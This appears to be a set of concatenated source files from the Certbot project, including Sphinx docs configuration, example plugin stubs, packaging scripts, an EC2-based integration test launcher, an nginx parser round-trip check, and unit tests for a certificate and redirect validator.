# General information about the project.
project = u'Certbot'
copyright = u'2014-2016 - The Certbot software and documentation are licensed under the Apache 2.0 license as described at https://eff.org/cb-license '

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '.'.join(meta['version'].split('.')[:2])
# The full version, including alpha/beta/rc tags.
release = meta['version']

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = None

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'Certbotdoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    ('index', 'Certbot.tex', u'Certbot Documentation',
     u'Certbot Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    ('index', 'certbot', u'Certbot Documentation',
     [project], 7),
    ('man/certbot', 'certbot', u'certbot script documentation',
     [project], 1),
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    ('index', 'Certbot', u'Certbot Documentation',
     u'Certbot Project', 'Certbot', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
    'acme': ('https://acme-python.readthedocs.org/en/latest/', None),
}






"""Example Certbot plugins.

For full examples, see `certbot.plugins`.

"""
import zope.interface

from certbot import interfaces
from certbot.plugins import common


@zope.interface.implementer(interfaces.IAuthenticator)
@zope.interface.provider(interfaces.IPluginFactory)
class Authenticator(common.Plugin):
    """Example Authenticator."""

    description = "Example Authenticator plugin"

    # Implement all methods from IAuthenticator, remembering to add
    # "self" as first argument, e.g. def prepare(self)...


@zope.interface.implementer(interfaces.IInstaller)
@zope.interface.provider(interfaces.IPluginFactory)
class Installer(common.Plugin):
    """Example Installer."""

    description = "Example Installer plugin"

    # Implement all methods from IInstaller, remembering to add
    # "self" as first argument, e.g. def get_all_names(self)...






from setuptools import setup


setup(
    name='certbot-example-plugins',
    package='certbot_example_plugins.py',
    install_requires=[
        'certbot',
        'zope.interface',
    ],
    entry_points={
        'certbot.plugins': [
            'example_authenticator = certbot_example_plugins:Authenticator',
            'example_installer = certbot_example_plugins:Installer',
        ],
    },
)






"""Manual test of display functions."""
import sys

from certbot.display import util
from certbot.tests.display import util_test


def test_visual(displayer, choices):
    """Visually test all of the display functions."""
    displayer.notification("Random notification!")
    displayer.menu("Question?", choices,
                   ok_label="O", cancel_label="Can", help_label="??")
    displayer.menu("Question?", [choice[1] for choice in choices],
                   ok_label="O", cancel_label="Can", help_label="??")
    displayer.input("Input Message")
    displayer.yesno("YesNo Message", yes_label="Yessir", no_label="Nosir")
    displayer.checklist("Checklist Message", [choice[0] for choice in choices])


if __name__ == "__main__":
    for displayer in util.NcursesDisplay(), util.FileDisplay(sys.stdout):
        test_visual(displayer, util_test.CHOICES)






"""
Certbot Integration Test Tool

- Configures (canned) boulder server
- Launches EC2 instances with a given list of AMIs for different distros
- Copies certbot repo and puts it on the instances
- Runs certbot tests (bash scripts) on all of these
- Logs execution and success/fail for debugging

Notes:
  - Some AWS images, e.g. official CentOS and FreeBSD images
    require acceptance of user terms on the AWS marketplace
    website.  This can't be automated.
  - AWS EC2 has a default limit of 20 t2/t1 instances, if more
    are needed, they need to be requested via online webform.

Usage:
  - Requires AWS IAM secrets to be set up with aws cli
  - Requires an AWS associated keyfile <keyname>.pem

>aws configure --profile HappyHacker
[interactive: enter secrets for IAM role]
>aws ec2 create-key-pair --profile HappyHacker --key-name MyKeyPair \
 --query 'KeyMaterial' --output text > MyKeyPair.pem
then:
>python multitester.py targets.yaml MyKeyPair.pem HappyHacker scripts/test_letsencrypt_auto_venv_only.sh
see:
  https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html
  https://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-keypairs.html
"""

from __future__ import print_function
from __future__ import with_statement

import sys, os, time, argparse, socket
import multiprocessing as mp
from multiprocessing import Manager
import urllib2
import yaml
import boto3
import fabric
from fabric.api import run, execute, local, env, sudo, cd, lcd
from fabric.operations import get, put
from fabric.context_managers import shell_env

# Command line parser
#-------------------------------------------------------------------------------
parser = argparse.ArgumentParser(description='Builds EC2 cluster for testing.')
parser.add_argument('config_file',
                    help='yaml configuration file for AWS server cluster')
parser.add_argument('key_file',
                    help='key file (<keyname>.pem) for AWS')
parser.add_argument('aws_profile',
                    help='profile for AWS (i.e. as in ~/.aws/certificates)')
parser.add_argument('test_script',
                    default='test_letsencrypt_auto_certonly_standalone.sh',
                    help='path of bash script in to deploy and run')
#parser.add_argument('--script_args',
#                    nargs='+',
#                    help='space-delimited list of arguments to pass to the bash test script',
#                    required=False)
parser.add_argument('--repo',
                    default='https://github.com/letsencrypt/letsencrypt.git',
                    help='certbot git repo to use')
parser.add_argument('--branch',
                    default='~',
                    help='certbot git branch to trial')
parser.add_argument('--pull_request',
                    default='~',
                    help='letsencrypt/letsencrypt pull request to trial')
parser.add_argument('--merge_master',
                    action='store_true',
                    help="if set merges PR into master branch of letsencrypt/letsencrypt")
parser.add_argument('--saveinstances',
                    action='store_true',
                    help="don't kill EC2 instances after run, useful for debugging")
parser.add_argument('--alt_pip',
                    default='',
                    help="server from which to pull candidate release packages")
parser.add_argument('--killboulder',
                    action='store_true',
                    help="do not leave a persistent boulder server running")
parser.add_argument('--boulderonly',
                    action='store_true',
                    help="only make a boulder server")
parser.add_argument('--fast',
                    action='store_true',
                    help="use larger instance types to run faster (saves about a minute, probably not worth it)")
cl_args = parser.parse_args()

# Credential Variables
#-------------------------------------------------------------------------------
# assumes naming: <key_filename> = <keyname>.pem
KEYFILE = cl_args.key_file
KEYNAME = os.path.split(cl_args.key_file)[1].split('.pem')[0]
PROFILE = cl_args.aws_profile

# Globals
#-------------------------------------------------------------------------------
BOULDER_AMI = 'ami-5f490b35' # premade shared boulder AMI 14.04LTS us-east-1
LOGDIR = "" #points to logging / working directory
# boto3/AWS api globals
AWS_SESSION = None
EC2 = None

# Boto3/AWS automation functions
#-------------------------------------------------------------------------------
def make_security_group():
    # will fail if security group of GroupName already exists
    # cannot have duplicate SGs of the same name
    mysg = EC2.create_security_group(GroupName="letsencrypt_test",
                                     Description='security group for automated testing')
    mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=22, ToPort=22)
    mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=80, ToPort=80)
    mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=443, ToPort=443)
    # for boulder wfe (http) server
    mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=4000, ToPort=4000)
    # for mosh
    mysg.authorize_ingress(IpProtocol="udp", CidrIp="0.0.0.0/0", FromPort=60000, ToPort=61000)
    return mysg

def make_instance(instance_name,
                  ami_id,
                  keyname,
                  machine_type='t2.micro',
                  security_groups=['letsencrypt_test'],
                  userdata=""): #userdata contains bash or cloud-init script

    new_instance = EC2.create_instances(
        ImageId=ami_id,
        SecurityGroups=security_groups,
        KeyName=keyname,
        MinCount=1,
        MaxCount=1,
        UserData=userdata,
        InstanceType=machine_type)[0]

    # brief pause to prevent rare error on EC2 delay, should block until ready instead
    time.sleep(1.0)

    # give instance a name
    try:
        new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}])
    except botocore.exceptions.ClientError as e:
        if "InvalidInstanceID.NotFound" in str(e):
            # This seems to be ephemeral... retry
            time.sleep(1)
            new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}])
        else:
            raise
    return new_instance

def terminate_and_clean(instances):
    """
    Some AMIs specify EBS stores that won't delete on instance termination.
    These must be manually deleted after shutdown.
    """
    volumes_to_delete = []
    for instance in instances:
        for bdmap in instance.block_device_mappings:
            if 'Ebs' in bdmap.keys():
                if not bdmap['Ebs']['DeleteOnTermination']:
                    volumes_to_delete.append(bdmap['Ebs']['VolumeId'])

    for instance in instances:
        instance.terminate()

    # can't delete volumes until all attaching instances are terminated
    _ids = [instance.id for instance in instances]
    all_terminated = False
    while not all_terminated:
        all_terminated = True
        for _id in _ids:
            # necessary to reinit object for boto3 to get true state
            inst = EC2.Instance(id=_id)
            if inst.state['Name'] != 'terminated':
                all_terminated = False
        time.sleep(5)

    for vol_id in volumes_to_delete:
        volume = EC2.Volume(id=vol_id)
        volume.delete()

    return volumes_to_delete


# Helper Routines
#-------------------------------------------------------------------------------
def block_until_http_ready(urlstring, wait_time=10, timeout=240):
    "Blocks until server at urlstring can respond to http requests"
    server_ready = False
    t_elapsed = 0
    while not server_ready and t_elapsed < timeout:
        try:
            sys.stdout.write('.')
            sys.stdout.flush()
            req = urllib2.Request(urlstring)
            response = urllib2.urlopen(req)
            #if response.code == 200:
            server_ready = True
        except urllib2.URLError:
            pass
        time.sleep(wait_time)
        t_elapsed += wait_time

def block_until_ssh_open(ipstring, wait_time=10, timeout=120):
    "Blocks until server at ipstring has an open port 22"
    reached = False
    t_elapsed = 0
    while not reached and t_elapsed < timeout:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((ipstring, 22))
            reached = True
        except socket.error as err:
            time.sleep(wait_time)
            t_elapsed += wait_time
    sock.close()

def block_until_instance_ready(booting_instance, wait_time=5, extra_wait_time=20):
    "Blocks booting_instance until AWS EC2 instance is ready to accept SSH connections"
    # the reinstantiation from id is necessary to force boto3
    # to correctly update the 'state' variable during init
    _id = booting_instance.id
    _instance = EC2.Instance(id=_id)
    _state = _instance.state['Name']
    _ip = _instance.public_ip_address
    while _state != 'running' or _ip is None:
        time.sleep(wait_time)
        _instance = EC2.Instance(id=_id)
        _state = _instance.state['Name']
        _ip = _instance.public_ip_address
    block_until_ssh_open(_ip)
    time.sleep(extra_wait_time)
    return _instance


# Fabric Routines
#-------------------------------------------------------------------------------
def local_git_clone(repo_url):
    "clones master of repo_url"
    with lcd(LOGDIR):
        local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi')
        local('git clone %s letsencrypt'% repo_url)
        local('tar czf le.tar.gz letsencrypt')

def local_git_branch(repo_url, branch_name):
    "clones branch <branch_name> of repo_url"
    with lcd(LOGDIR):
        local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi')
        local('git clone %s letsencrypt --branch %s --single-branch'%(repo_url, branch_name))
        local('tar czf le.tar.gz letsencrypt')

def local_git_PR(repo_url, PRnumstr, merge_master=True):
    "clones specified pull request from repo_url and optionally merges into master"
    with lcd(LOGDIR):
        local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi')
        local('git clone %s letsencrypt'% repo_url)
        local('cd letsencrypt && git fetch origin pull/%s/head:lePRtest'%PRnumstr)
        local('cd letsencrypt && git checkout lePRtest')
        if merge_master:
            local('cd letsencrypt && git remote update origin')
            local('cd letsencrypt && git merge origin/master -m "testmerge"')
        local('tar czf le.tar.gz letsencrypt')

def local_repo_to_remote():
    "copies local tarball of repo to remote"
    with lcd(LOGDIR):
        put(local_path='le.tar.gz', remote_path='')
        run('tar xzf le.tar.gz')

def local_repo_clean():
    "delete tarball"
    with lcd(LOGDIR):
        local('rm le.tar.gz')

def deploy_script(scriptpath, *args):
    "copies to remote and executes local script"
    #with lcd('scripts'):
    put(local_path=scriptpath, remote_path='', mirror_local_mode=True)
    scriptfile = os.path.split(scriptpath)[1]
    args_str = ' '.join(args)
    run('./'+scriptfile+' '+args_str)

def run_boulder():
    with cd('$GOPATH/src/github.com/letsencrypt/boulder'):
        run('go run cmd/rabbitmq-setup/main.go -server amqp://localhost')
        run('nohup ./start.py >& /dev/null < /dev/null &')

def config_and_launch_boulder(instance):
    execute(deploy_script, 'scripts/boulder_config.sh')
    execute(run_boulder)

def install_and_launch_certbot(instance, boulder_url, target):
    execute(local_repo_to_remote)
    with shell_env(BOULDER_URL=boulder_url,
                   PUBLIC_IP=instance.public_ip_address,
                   PRIVATE_IP=instance.private_ip_address,
                   PUBLIC_HOSTNAME=instance.public_dns_name,
                   PIP_EXTRA_INDEX_URL=cl_args.alt_pip,
                   OS_TYPE=target['type']):
        execute(deploy_script, cl_args.test_script)

def grab_certbot_log():
    "grabs letsencrypt.log via cat into logged stdout"
    sudo('if [ -f /var/log/letsencrypt/letsencrypt.log ]; then \
    cat /var/log/letsencrypt/letsencrypt.log; else echo "[novarlog]"; fi')
    # fallback file if /var/log is unwriteable...? correct?
    sudo('if [ -f ./certbot.log ]; then \
    cat ./certbot.log; else echo "[nolocallog]"; fi')

def create_client_instances(targetlist):
    "Create a fleet of client instances"
    instances = []
    print("Creating instances: ", end="")
    for target in targetlist:
        if target['virt'] == 'hvm':
            machine_type = 't2.medium' if cl_args.fast else 't2.micro'
        else:
            # 32 bit systems
            machine_type = 'c1.medium' if cl_args.fast else 't1.micro'
        if 'userdata' in target.keys():
            userdata = target['userdata']
        else:
            userdata = ''
        name = 'le-%s'%target['name']
        print(name, end=" ")
        instances.append(make_instance(name,
                                       target['ami'],
                                       KEYNAME,
                                       machine_type=machine_type,
                                       userdata=userdata))
    print()
    return instances


def test_client_process(inqueue, outqueue):
    cur_proc = mp.current_process()
    for inreq in iter(inqueue.get, SENTINEL):
        ii, target = inreq

        #save all stdout to log file
        sys.stdout = open(LOGDIR+'/'+'%d_%s.log'%(ii,target['name']), 'w')

        print("[%s : client %d %s %s]" % (cur_proc.name, ii, target['ami'], target['name']))
        instances[ii] = block_until_instance_ready(instances[ii])
        print("server %s at %s"%(instances[ii], instances[ii].public_ip_address))
        env.host_string = "%s@%s"%(target['user'], instances[ii].public_ip_address)
        print(env.host_string)

        try:
            install_and_launch_certbot(instances[ii], boulder_url, target)
            outqueue.put((ii, target, 'pass'))
            print("%s - %s SUCCESS"%(target['ami'], target['name']))
        except:
            outqueue.put((ii, target, 'fail'))
            print("%s - %s FAIL"%(target['ami'], target['name']))
            pass

        # append server certbot.log to each per-machine output log
        print("\n\ncertbot.log\n" + "-"*80 + "\n")
        try:
            execute(grab_certbot_log)
        except:
            print("log fail\n")
            pass


def cleanup(cl_args, instances, targetlist):
    print('Logs in ', LOGDIR)
    if not cl_args.saveinstances:
        print('Terminating EC2 Instances and Cleaning Dangling EBS Volumes')
        if cl_args.killboulder:
            boulder_server.terminate()
        terminate_and_clean(instances)
    else:
        # print login information for the boxes for debugging
        for ii, target in enumerate(targetlist):
            print(target['name'],
                  target['ami'],
                  "%s@%s"%(target['user'], instances[ii].public_ip_address))



#-------------------------------------------------------------------------------
# SCRIPT BEGINS
#-------------------------------------------------------------------------------

# Fabric library controlled through global env parameters
env.key_filename = KEYFILE
env.shell = '/bin/bash -l -i -c'
env.connection_attempts = 5
env.timeout = 10
# replace default SystemExit thrown by fabric during trouble
class FabricException(Exception):
    pass
env['abort_exception'] = FabricException

# Set up local copy of git repo
#-------------------------------------------------------------------------------
LOGDIR = "letest-%d"%int(time.time())
print("Making local dir for test repo and logs: %s"%LOGDIR)
local('mkdir %s'%LOGDIR)

# figure out what git object to test and locally create it in LOGDIR
print("Making local git repo")
try:
    if cl_args.pull_request != '~':
        print('Testing PR %s '%cl_args.pull_request,
              "MERGING into master" if cl_args.merge_master else "")
        execute(local_git_PR, cl_args.repo, cl_args.pull_request, cl_args.merge_master)
    elif cl_args.branch != '~':
        print('Testing branch %s of %s'%(cl_args.branch, cl_args.repo))
        execute(local_git_branch, cl_args.repo, cl_args.branch)
    else:
        print('Testing master of %s'%cl_args.repo)
        execute(local_git_clone, cl_args.repo)
except FabricException:
    print("FAIL: trouble with git repo")
    exit()


# Set up EC2 instances
#-------------------------------------------------------------------------------
configdata = yaml.load(open(cl_args.config_file, 'r'))
targetlist = configdata['targets']
print('Testing against these images: [%d total]'%len(targetlist))
for target in targetlist:
    print(target['ami'], target['name'])

print("Connecting to EC2 using\n profile %s\n keyname %s\n keyfile %s"%(PROFILE, KEYNAME, KEYFILE))
AWS_SESSION = boto3.session.Session(profile_name=PROFILE)
EC2 = AWS_SESSION.resource('ec2')

print("Making Security Group")
sg_exists = False
for sg in EC2.security_groups.all():
    if sg.group_name == 'letsencrypt_test':
        sg_exists = True
        print("  %s already exists"%'letsencrypt_test')
if not sg_exists:
    make_security_group()
    time.sleep(30)

boulder_preexists = False
boulder_servers = EC2.instances.filter(Filters=[
    {'Name': 'tag:Name',            'Values': ['le-boulderserver']},
    {'Name': 'instance-state-name', 'Values': ['running']}])

boulder_server = next(iter(boulder_servers), None)

print("Requesting Instances...")
if boulder_server:
    print("Found existing boulder server:", boulder_server)
    boulder_preexists = True
else:
    print("Can't find a boulder server, starting one...")
    boulder_server = make_instance('le-boulderserver',
                                   BOULDER_AMI,
                                   KEYNAME,
                                   machine_type='t2.micro',
                                   #machine_type='t2.medium',
                                   security_groups=['letsencrypt_test'])

try:
    if not cl_args.boulderonly:
        instances = create_client_instances(targetlist)

    # Configure and launch boulder server
    #-------------------------------------------------------------------------------
    print("Waiting on Boulder Server")
    boulder_server = block_until_instance_ready(boulder_server)
    print(" server %s"%boulder_server)


    # env.host_string defines the ssh user and host for connection
    env.host_string = "ubuntu@%s"%boulder_server.public_ip_address
    print("Boulder Server at (SSH):", env.host_string)
    if not boulder_preexists:
        print("Configuring and Launching Boulder")
        config_and_launch_boulder(boulder_server)
        # blocking often unnecessary, but cheap EC2 VMs can get very slow
        block_until_http_ready('http://%s:4000'%boulder_server.public_ip_address,
                               wait_time=10, timeout=500)

    boulder_url = "http://%s:4000/directory"%boulder_server.private_ip_address
    print("Boulder Server at (public ip): http://%s:4000/directory"%boulder_server.public_ip_address)
    print("Boulder Server at (EC2 private ip): %s"%boulder_url)

    if cl_args.boulderonly:
        sys.exit(0)

    # Install and launch client scripts in parallel
    #-------------------------------------------------------------------------------
    print("Uploading and running test script in parallel: %s"%cl_args.test_script)
    print("Output routed to log files in %s"%LOGDIR)
    # (Advice: always use Manager.Queue, never regular multiprocessing.Queue
    # the latter has implementation flaws that deadlock it in some circumstances)
    manager = Manager()
    outqueue = manager.Queue()
    inqueue = manager.Queue()
    SENTINEL = None #queue kill signal

    # launch as many processes as clients to test
    num_processes = len(targetlist)
    jobs = [] #keep a reference to current procs


    # initiate process execution
    for i in range(num_processes):
        p = mp.Process(target=test_client_process, args=(inqueue, outqueue))
        jobs.append(p)
        p.daemon = True  # kills subprocesses if parent is killed
        p.start()

    # fill up work queue
    for ii, target in enumerate(targetlist):
        inqueue.put((ii, target))

    # add SENTINELs to end client processes
    for i in range(num_processes):
        inqueue.put(SENTINEL)
    # wait on termination of client processes
    for p in jobs:
        p.join()
    # add SENTINEL to output queue
    outqueue.put(SENTINEL)

    # clean up
    execute(local_repo_clean)

    # print and save summary results
    results_file = open(LOGDIR+'/results', 'w')
    outputs = [outq for outq in iter(outqueue.get, SENTINEL)]
    outputs.sort(key=lambda x: x[0])
    for outq in outputs:
        ii, target, status = outq
        print('%d %s %s'%(ii, target['name'], status))
        results_file.write('%d %s %s\n'%(ii, target['name'], status))
    results_file.close()

finally:
    cleanup(cl_args, instances, targetlist)

    # kill any connections
    fabric.network.disconnect_all()






import sys

from setuptools import setup
from setuptools import find_packages


version = '0.9.0.dev0'

install_requires = [
    'certbot',
    'certbot-apache',
    'requests',
    'zope.interface',
]

if sys.version_info < (2, 7):
    install_requires.append('mock<1.1.0')
else:
    install_requires.append('mock')

if sys.version_info < (2, 7, 9):
    # For secure SSL connexion with Python 2.7 (InsecurePlatformWarning)
    install_requires.append('ndg-httpsclient')
    install_requires.append('pyasn1')

docs_extras = [
    'repoze.sphinx.autointerface',
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
]

setup(
    name='certbot-compatibility-test',
    version=version,
    description="Compatibility tests for Certbot",
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: Apache Software License',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    extras_require={
        'docs': docs_extras,
    },
    entry_points={
        'console_scripts': [
            'certbot-compatibility-test = certbot_compatibility_test.test_driver:main',
        ],
    },
)






#!/usr/bin/env python

import os
import sys

from certbot_nginx import nginxparser

def roundtrip(stuff):
    success = True
    for t in stuff:
        print t
        if not os.path.isfile(t):
            continue
        with open(t, "r") as f:
            config = f.read()
            try:
                if nginxparser.dumps(nginxparser.loads(config)) != config:
                    print("Failed parsing round-trip for {0}".format(t))
                    success = False
            except Exception as e:
                print("Failed parsing {0} ({1})".format(t, e))
                success = False
    return success

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("usage: %s directory" % sys.argv[0])
        sys.exit(1)
    success = True
    for where, _, files in os.walk(sys.argv[1]):
        if files:
            success &= roundtrip(os.path.join(where, f) for f in files)

    sys.exit(0 if success else 1)






"""Utility functions for Certbot plugin tests."""
import argparse
import copy
import os
import re
import shutil
import tarfile

from acme import jose
from acme import test_util
from certbot import constants

from certbot_compatibility_test import errors


_KEY_BASE = "rsa1024_key.pem"
KEY_PATH = test_util.vector_path(_KEY_BASE)
KEY = test_util.load_pyopenssl_private_key(_KEY_BASE)
JWK = jose.JWKRSA(key=test_util.load_rsa_private_key(_KEY_BASE))
IP_REGEX = re.compile(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$")


def create_le_config(parent_dir):
    """Sets up LE dirs in parent_dir and returns the config dict"""
    config = copy.deepcopy(constants.CLI_DEFAULTS)

    le_dir = os.path.join(parent_dir, "certbot")
    config["config_dir"] = os.path.join(le_dir, "config")
    config["work_dir"] = os.path.join(le_dir, "work")
    config["logs_dir"] = os.path.join(le_dir, "logs_dir")
    os.makedirs(config["config_dir"])
    os.mkdir(config["work_dir"])
    os.mkdir(config["logs_dir"])

    config["domains"] = None

    return argparse.Namespace(**config)  # pylint: disable=star-args


def extract_configs(configs, parent_dir):
    """Extracts configs to a new dir under parent_dir and returns it"""
    config_dir = os.path.join(parent_dir, "configs")

    if os.path.isdir(configs):
        shutil.copytree(configs, config_dir, symlinks=True)
    elif tarfile.is_tarfile(configs):
        with tarfile.open(configs, "r") as tar:
            tar.extractall(config_dir)
    else:
        raise errors.Error("Unknown configurations file type")

    return config_dir






"""Certbot compatibility test errors"""


class Error(Exception):
    """Generic Certbot compatibility test error"""






"""Tests for certbot_compatibility_test.validator."""
import requests
import unittest

import mock
import OpenSSL

from acme import errors as acme_errors
from certbot_compatibility_test import validator


class ValidatorTest(unittest.TestCase):
    def setUp(self):
        self.validator = validator.Validator()

    @mock.patch(
        "certbot_compatibility_test.validator.crypto_util.probe_sni")
    def test_certificate_success(self, mock_probe_sni):
        cert = OpenSSL.crypto.X509()
        mock_probe_sni.return_value = cert
        self.assertTrue(self.validator.certificate(
            cert, "test.com", "127.0.0.1"))

    @mock.patch(
        "certbot_compatibility_test.validator.crypto_util.probe_sni")
    def test_certificate_error(self, mock_probe_sni):
        cert = OpenSSL.crypto.X509()
        mock_probe_sni.side_effect = [acme_errors.Error]
        self.assertFalse(self.validator.certificate(
            cert, "test.com", "127.0.0.1"))

    @mock.patch(
        "certbot_compatibility_test.validator.crypto_util.probe_sni")
    def test_certificate_failure(self, mock_probe_sni):
        cert = OpenSSL.crypto.X509()
        cert.set_serial_number(1337)
        mock_probe_sni.return_value = OpenSSL.crypto.X509()
        self.assertFalse(self.validator.certificate(
            cert, "test.com", "127.0.0.1"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_succesful_redirect(self, mock_get_request):
        mock_get_request.return_value = create_response(
            301, {"location": "https://test.com"})
        self.assertTrue(self.validator.redirect("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_redirect_with_headers(self, mock_get_request):
        mock_get_request.return_value = create_response(
            301, {"location": "https://test.com"})
        self.assertTrue(self.validator.redirect(
            "test.com", headers={"Host": "test.com"}))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_redirect_missing_location(self, mock_get_request):
        mock_get_request.return_value = create_response(301)
        self.assertFalse(self.validator.redirect("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_redirect_wrong_status_code(self, mock_get_request):
        mock_get_request.return_value = create_response(
            201, {"location": "https://test.com"})
        self.assertFalse(self.validator.redirect("test.com"))

    @mock.patch("certbot_compatibility_test.validator.requests.get")
    def test_redirect_wrong_redirect_code(self, mock_get_request):
        mock_get_request.return_value = create_response(
            303, {"location": "https://test.com"})
        self.assertFalse(self.validator.redirect("test.com"))

